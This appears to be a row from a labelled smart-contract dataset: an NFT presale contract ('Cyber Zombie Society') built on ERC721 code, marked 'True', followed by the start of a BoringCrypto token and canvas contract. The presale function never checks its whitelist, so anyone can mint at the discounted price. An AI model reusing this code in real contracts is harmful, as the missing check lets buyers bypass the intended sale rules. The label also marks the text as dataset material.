* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}pragma solidity ^0.8.0;
contract CyberZombieSociety is Ownable, ERC721 {
uint constant presalePrice = 0.1 ether;
uint public maxSupply = 3333;
uint public totalSupply = 0;
uint public sale_startTime = 1637514000;
uint public presale_startTime = 1637427600;
bool public pause_sale = false;
uint public second_phase = sale_startTime + 10800; //3 Hours after Sale Starts
uint public third_phase = second_phase + 10800; // 6 Hours after Sale Starts
uint public overall_presale_limit = 1000;
string public baseURI = "https://cyberzombiesociety.io/api/nft/";
mapping(address => bool) private presaleList;
constructor() ERC721("Cyber Zombie Society", "CZS"){}
function buy(uint _count) public payable{
require(_count > 0, "mint at least one token");
require(_count <= 10, "Max 10 Allowed per transaction.");
require(totalSupply + _count <= maxSupply, "Not enough tokens left");
require(msg.value == get_current_price() * _count, "incorrect ether amount");
require(block.timestamp >= sale_startTime,"Sale not Started Yet.");
require(pause_sale == false, "Sale is Paused.");
for(uint i = 0; i < _count; i++)
_safeMint(msg.sender, totalSupply + 1 + i);
totalSupply += _count;
}
function buy_Presale(uint _count) public payable{
require(_count > 0, "mint at least one token");
require(_count <= 3, "Max 3 Allowed per transaction.");
require(totalSupply + _count <= maxSupply, "Not enough tokens left");
require(msg.value == presalePrice * _count, "incorrect ether amount");
require(block.timestamp >= presale_startTime,"Pre Sale not Started Yet.");
require(block.timestamp < sale_startTime,"Pre Sale Ended.");
require(pause_sale == false, "Sale is Paused.");
require(totalSupply + _count <= overall_presale_limit, "Exceeding Overall Presale Limit.");
for(uint i = 0; i < _count; i++)
_safeMint(msg.sender, totalSupply + 1 + i);
totalSupply += _count;
}
function sendGifts(address[] memory _wallets) public onlyOwner{
require(totalSupply + _wallets.length <= maxSupply, "not enough tokens left");
for(uint i = 0; i < _wallets.length; i++)
_safeMint(_wallets[i], totalSupply + 1 + i);
totalSupply += _wallets.length;
}
function get_current_price() public view returns(uint){
if(block.timestamp >= sale_startTime && block.timestamp < second_phase){
return 0.3 ether;
}else if(block.timestamp >= second_phase && block.timestamp < third_phase){
return 0.2 ether;
}else{
return 0.1 ether;
}
}
function addPresaleList(address[] memory _wallets) public onlyOwner{
for(uint i; i < _wallets.length; i++)
presaleList[_wallets[i]] = true;
}
function checkPresale() public view returns(bool){
return presaleList[msg.sender];
}
function setBaseUri(string memory _uri) external onlyOwner {
baseURI = _uri;
}
function setPauseSale(bool temp) external onlyOwner {
pause_sale = temp;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function set_start_time(uint256 time) external onlyOwner{
sale_startTime = time;
}
function set_presale_time(uint256 time) external onlyOwner{
presale_startTime = time;
}
function set_max_supply(uint256 _value) external onlyOwner{
maxSupply = _value;
}
function set_second_phase(uint256 _value) external onlyOwner{
second_phase = _value;
}
function set_third_phase(uint256 _value) external onlyOwner{
third_phase = _value;
}
function set_overall_limit_presale(uint256 _value) external onlyOwner{
overall_presale_limit = _value;
}
function isPresalestarted() external view returns (bool){
if(block.timestamp >= presale_startTime && block.timestamp < sale_startTime){
return true;
}
return false;
}
function withdraw() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function withdrawTo(address _to) external onlyOwner {
payable(_to).transfer(address(this).balance);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-05
*/
// SPDX-License-Identifier: MIXED
// File @boringcrypto/boring-solidity/contracts/libraries/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
// File @boringcrypto/boring-solidity/contracts/interfaces/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @notice EIP 2612
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// File @boringcrypto/boring-solidity/contracts/libraries/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
// solhint-disable avoid-low-level-calls
library BoringERC20 {
bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol()
bytes4 private constant SIG_NAME = 0x06fdde03; // name()
bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals()
bytes4 private constant SIG_BALANCE_OF = 0x70a08231; // balanceOf(address)
bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256)
bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256)
function returnDataToString(bytes memory data) internal pure returns (string memory) {
if (data.length >= 64) {
return abi.decode(data, (string));
} else if (data.length == 32) {
uint8 i = 0;
while (i < 32 && data[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && data[i] != 0; i++) {
bytesArray[i] = data[i];
}
return string(bytesArray);
} else {
return "???";
}
}
/// @notice Provides a safe ERC20.symbol version which returns '???' as fallback string.
/// @param token The address of the ERC-20 token contract.
/// @return (string) Token symbol.
function safeSymbol(IERC20 token) internal view returns (string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_SYMBOL));
return success ? returnDataToString(data) : "???";
}
/// @notice Provides a safe ERC20.name version which returns '???' as fallback string.
/// @param token The address of the ERC-20 token contract.
/// @return (string) Token name.
function safeName(IERC20 token) internal view returns (string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_NAME));
return success ? returnDataToString(data) : "???";
}
/// @notice Provides a safe ERC20.decimals version which returns '18' as fallback value.
/// @param token The address of the ERC-20 token contract.
/// @return (uint8) Token decimals.
function safeDecimals(IERC20 token) internal view returns (uint8) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_DECIMALS));
return success && data.length == 32 ? abi.decode(data, (uint8)) : 18;
}
/// @notice Provides a gas-optimized balance check to avoid a redundant extcodesize check in addition to the returndatasize check.
/// @param token The address of the ERC-20 token.
/// @param to The address of the user to check.
/// @return amount The token amount.
function safeBalanceOf(IERC20 token, address to) internal view returns (uint256 amount) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_BALANCE_OF, to));
require(success && data.length >= 32, "BoringERC20: BalanceOf failed");
amount = abi.decode(data, (uint256));
}
/// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransfer(
IERC20 token,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed");
}
/// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param from Transfer tokens from.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed");
}
}
// File @boringcrypto/boring-solidity/contracts/[email protected]
// License-Identifier: MIT
// Based on code and smartness by Ross Campbell and Keno
// Uses immutable to store the domain separator to reduce gas usage
// If the chain id changes due to a fork, the forked chain will calculate on the fly.
pragma solidity 0.6.12;
// solhint-disable no-inline-assembly
contract Domain {
bytes32 private constant DOMAIN_SEPARATOR_SIGNATURE_HASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)");
// See https://eips.ethereum.org/EIPS/eip-191
string private constant EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA = "\x19\x01";
// solhint-disable var-name-mixedcase
bytes32 private immutable _DOMAIN_SEPARATOR;
uint256 private immutable DOMAIN_SEPARATOR_CHAIN_ID;
/// @dev Calculate the DOMAIN_SEPARATOR
function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) {
return keccak256(abi.encode(DOMAIN_SEPARATOR_SIGNATURE_HASH, chainId, address(this)));
}
constructor() public {
uint256 chainId;
assembly {
chainId := chainid()
}
_DOMAIN_SEPARATOR = _calculateDomainSeparator(DOMAIN_SEPARATOR_CHAIN_ID = chainId);
}
/// @dev Return the DOMAIN_SEPARATOR
// It's named internal to allow making it public from the contract that uses it by creating a simple view function
// with the desired public name, such as DOMAIN_SEPARATOR or domainSeparator.
// solhint-disable-next-line func-name-mixedcase
function _domainSeparator() internal view returns (bytes32) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId == DOMAIN_SEPARATOR_CHAIN_ID ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId);
}
function _getDigest(bytes32 dataHash) internal view returns (bytes32 digest) {
digest = keccak256(abi.encodePacked(EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA, _domainSeparator(), dataHash));
}
}
// File @boringcrypto/boring-solidity/contracts/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
// solhint-disable no-inline-assembly
// solhint-disable not-rely-on-time
// Data part taken out for building of contracts that receive delegate calls
contract ERC20Data {
/// @notice owner > balance mapping.
mapping(address => uint256) public balanceOf;
/// @notice owner > spender > allowance mapping.
mapping(address => mapping(address => uint256)) public allowance;
/// @notice owner > nonce mapping. Used in `permit`.
mapping(address => uint256) public nonces;
}
abstract contract ERC20 is IERC20, Domain {
/// @notice owner > balance mapping.
mapping(address => uint256) public override balanceOf;
/// @notice owner > spender > allowance mapping.
mapping(address => mapping(address => uint256)) public override allowance;
/// @notice owner > nonce mapping. Used in `permit`.
mapping(address => uint256) public nonces;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/// @notice Transfers `amount` tokens from `msg.sender` to `to`.
/// @param to The address to move the tokens.
/// @param amount of the tokens to move.
/// @return (bool) Returns True if succeeded.
function transfer(address to, uint256 amount) public returns (bool) {
// If `amount` is 0, or `msg.sender` is `to` nothing happens
if (amount != 0 || msg.sender == to) {
uint256 srcBalance = balanceOf[msg.sender];
require(srcBalance >= amount, "ERC20: balance too low");
if (msg.sender != to) {
require(to != address(0), "ERC20: no zero address"); // Moved down so low balance calls safe some gas
balanceOf[msg.sender] = srcBalance - amount; // Underflow is checked
balanceOf[to] += amount;
}
}
emit Transfer(msg.sender, to, amount);
return true;
}
/// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval for `from`.
/// @param from Address to draw tokens from.
/// @param to The address to move the tokens.
/// @param amount The token amount to move.
/// @return (bool) Returns True if succeeded.
function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
// If `amount` is 0, or `from` is `to` nothing happens
if (amount != 0) {
uint256 srcBalance = balanceOf[from];
require(srcBalance >= amount, "ERC20: balance too low");
if (from != to) {
uint256 spenderAllowance = allowance[from][msg.sender];
// If allowance is infinite, don't decrease it to save on gas (breaks with EIP-20).
if (spenderAllowance != type(uint256).max) {
require(spenderAllowance >= amount, "ERC20: allowance too low");
allowance[from][msg.sender] = spenderAllowance - amount; // Underflow is checked
}
require(to != address(0), "ERC20: no zero address"); // Moved down so other failed calls safe some gas
balanceOf[from] = srcBalance - amount; // Underflow is checked
balanceOf[to] += amount;
}
}
emit Transfer(from, to, amount);
return true;
}
/// @notice Approves `amount` from sender to be spend by `spender`.
/// @param spender Address of the party that can draw from msg.sender's account.
/// @param amount The maximum collective amount that `spender` can draw.
/// @return (bool) Returns True if approved.
function approve(address spender, uint256 amount) public override returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32) {
return _domainSeparator();
}
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 private constant PERMIT_SIGNATURE_HASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
/// @notice Approves `value` from `owner_` to be spend by `spender`.
/// @param owner_ Address of the owner.
/// @param spender The address of the spender that gets approved to draw from `owner_`.
/// @param value The maximum collective amount that `spender` can draw.
/// @param deadline This permit must be redeemed before this deadline (UTC timestamp in seconds).
function permit(
address owner_,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external override {
require(owner_ != address(0), "ERC20: Owner cannot be 0");
require(block.timestamp < deadline, "ERC20: Expired");
require(
ecrecover(_getDigest(keccak256(abi.encode(PERMIT_SIGNATURE_HASH, owner_, spender, value, nonces[owner_]++, deadline))), v, r, s) ==
owner_,
"ERC20: Invalid Signature"
);
allowance[owner_][spender] = value;
emit Approval(owner_, spender, value);
}
}
contract ERC20WithSupply is IERC20, ERC20 {
uint256 public override totalSupply;
function _mint(address user, uint256 amount) internal {
uint256 newTotalSupply = totalSupply + amount;
require(newTotalSupply >= totalSupply, "Mint overflow");
totalSupply = newTotalSupply;
balanceOf[user] += amount;
emit Transfer(address(0), user, amount);
}
function _burn(address user, uint256 amount) internal {
require(balanceOf[user] >= amount, "Burn too much");
totalSupply -= amount;
balanceOf[user] -= amount;
emit Transfer(user, address(0), amount);
}
}
// File @boringcrypto/boring-solidity/contracts/libraries/[email protected]
// License-Identifier: MIT
//License-Identifier: MIT
pragma solidity ^0.6.12;
// solhint-disable no-inline-assembly
library BoringAddress {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
// File @boringcrypto/boring-solidity/contracts/[email protected]
// License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
// solhint-disable avoid-low-level-calls
interface ERC721TokenReceiver {
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4);
}
abstract contract BoringSingleNFT {
/// This contract is an EIP-721 compliant contract that holds only a single NFT (totalSupply = 1)
using BoringAddress for address;
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
// hodler must be set in derived contract
// Since there is only one NFT, we only track single holder and allowed
address public hodler;
address public allowed;
uint256 public constant totalSupply = 1;
// operator mappings as per usual
mapping(address => mapping(address => bool)) public operators;
function supportsInterface(bytes4 interfaceID) external pure returns (bool) {
return
interfaceID == this.supportsInterface.selector || // EIP-165
interfaceID == 0x80ac58cd; // EIP-721
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0), "No zero address");
return _owner == hodler ? 1 : 0;
}
function ownerOf(uint256 _tokenId) public view returns (address) {
require(_tokenId == 0, "Invalid token ID");
require(hodler != address(0), "No owner");
return hodler;
}
function approve(address _approved, uint256 _tokenId) public payable {
require(_tokenId == 0, "Invalid token ID");
require(msg.sender == hodler || operators[hodler][msg.sender], "Not allowed");
allowed = _approved;
emit Approval(msg.sender, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) public {
operators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) public view returns (address) {
require(_tokenId == 0, "Invalid token ID");
return allowed;
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operators[_owner][_operator];
}
function _transferBase(address to) internal {
emit Transfer(hodler, to, 0);
hodler = to;
// EIP-721 seems to suggest not to emit the Approval event here as it is indicated by the Transfer event.
allowed = address(0);
}
function _transfer(
address from,
address to,
uint256 _tokenId
) internal {
require(_tokenId == 0, "Invalid token ID");
require(from == hodler, "From not owner");
require(msg.sender == hodler || msg.sender == allowed || operators[hodler][msg.sender], "Transfer not allowed");
require(to != address(0), "No zero address");
_transferBase(to);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public payable {
_transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) public payable {
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) public payable {
_transfer(_from, _to, _tokenId);
if (_to.isContract()) {
require(
ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) ==
bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")),
"Wrong return value"
);
}
}
function tokenURI(uint256 _tokenId) public pure returns (string memory) {
require(_tokenId == 0, "Invalid token ID");
return _tokenURI();
}
function _tokenURI() internal pure virtual returns (string memory);
}
// File contracts/Canvas.sol
//License-Identifier: MIT
// _____ _ _ _____
// | __ (_) | | |_ _|
// | |__) |__ _____| | | | _ __ ___
// | ___/ \ \/ / _ \ | | | | '_ \ / __|
// | | | |> < __/ | _| |_| | | | (__
// |_| |_/_/\_\___|_| |_____|_| |_|\___| Canvas
//
// Flung together by BoringCrypto during COVID-19 lockdown in 2021
// Stay safe!
// Alpha here https://bit.ly/3icxSru
pragma solidity ^0.6.12;
// solhint-disable avoid-low-level-calls
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
interface Pixel is IERC20 {
function burn(uint256 amount) external;
}
contract Canvas is BoringSingleNFT {
using BoringMath for uint256;
using BoringERC20 for Pixel;
